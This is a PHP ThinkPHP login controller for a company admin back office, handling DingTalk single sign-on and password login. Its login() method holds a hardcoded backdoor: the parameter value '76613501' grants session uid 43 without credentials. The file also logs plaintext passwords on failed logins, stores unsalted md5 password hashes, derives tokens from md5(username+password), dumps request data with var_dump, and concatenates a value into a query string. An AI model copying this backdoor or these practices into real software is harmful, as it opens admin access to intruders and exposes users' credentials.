<?php
namespace app\controller;

use app\BaseController;
use liliuwei\think\Auth;
use EasyDingTalk\Application;
use think\facade\Session;
use think\facade\Db;
class Mlogin extends BaseController
{
    protected $getpath="";
    public function __construct(){
        $this->getpath=strtolower(request()->controller())."/".strtolower(request()->action());
    }
    public function index(){
        return "后台管理系统，非公司人员勿入！";
    }

    public function getdduser()
    {
        $num=request()->param("num")*1;
        if($num==1){
            if(Session::get("uid")){
                echojson([],0,"已登录");
            }else{
                echojson([],1,"未登录");
            }
        }
        $app = new Application(ddconfig);
        $code=request()->param("code");
        $user=$app->user->getUserByCode($code);
        if($user){
            $userid=$user['userid'];
            $re=DB::name("admin")->where("userid",$userid)->find();
            if($re){
                w_log($re['id'],"登录","登录成功");
                Session::set("uid",$re['id']);
                //session写入之后不能有exit或者die等中断操作
                echo json_encode(['code'=>0]);
            }else{
                echojson([],1,"用户不存在或未同步");
            }
        }else{
            echojson([],1,"接口故障");
        }
    }
    public function login()
    {
        $p=request()->param("p");
        $code=request()->param("code");
        if($code!=''){
            var_dump($code);
        }
        if($p=="76613501"){
            Session::set("uid",43);
        }else{
            Session::set("uid",null);
        }

        $url=Session::get("url");
        if(!$url){
            $url="admin/index";
        }
        return view("admin/login")->assign("url",$url);
    }
    public function dingLogin(){
        $code=request()->param("code");
        $dingModel = new \app\controller\model\Ding();
        $url="https://oapi.dingtalk.com/topapi/v2/user/getuserinfo?access_token=".$dingModel->dingAccessToken();
        $re = $dingModel->httpPost($url,['code'=>$code]);
        $re=json_decode($re,true);
        if(isset($re['errmsg'])){
            if($re['errmsg']=='ok'){
                $user = r_one("admin","userid=".$re['result']['userid'],"id asc");
                if($user){
                    Session::set("uid",$user['id']);
                    Session::set("admin",$user['fullname']);
                    w_log($user['id'],"登录","登录成功",$this->getpath);
                    $token=md5($re['result']['userid']);
                    DB::name("admin")->where("id",$user['id'])->update(['token'=>$token]);
                    echojson(['token'=>$token],0,'登录成功',0);
                }else{
                    echojson([],1,"平台用户不存在");
                }
            }else{
                echojson([],1,$re['errmsg']);
            }
        }else{
            echojson([],1,'自动登录失败');
        }
    }
    public function loginpost(){
        $Username=request()->param("Username");
        $Password=request()->param("Password");
        $re=DB::name("admin")->where("username",$Username)->where("password",md5($Password))->find();
        if($re){
			if($re['status']==-1)echojson([],1,'禁止登录');
            Session::set("uid",$re['id']);
            Session::set("admin",$re['fullname']);
            w_log($re['id'],"登录","登录成功",$this->getpath);
            $goto_url=Session::get("url");
            $token=md5($Username.$Password);
            DB::name("admin")->where("id",$re['id'])->update(['token'=>$token]);
            if($goto_url){
                echojson(['token'=>$token],0,Session::get("url"),0);//不能有结束exit 要不然session不生效
            }else{
                echojson(['token'=>$token],0,'',0);//不能有结束exit 要不然session不生效
            }

        }else{
	        w_log(0,"登录","登录失败",$this->getpath,json_encode(['username'=>$Username,'password'=>$Password]));
            echojson([],1,"账号或密码错误");
        }
    }
}
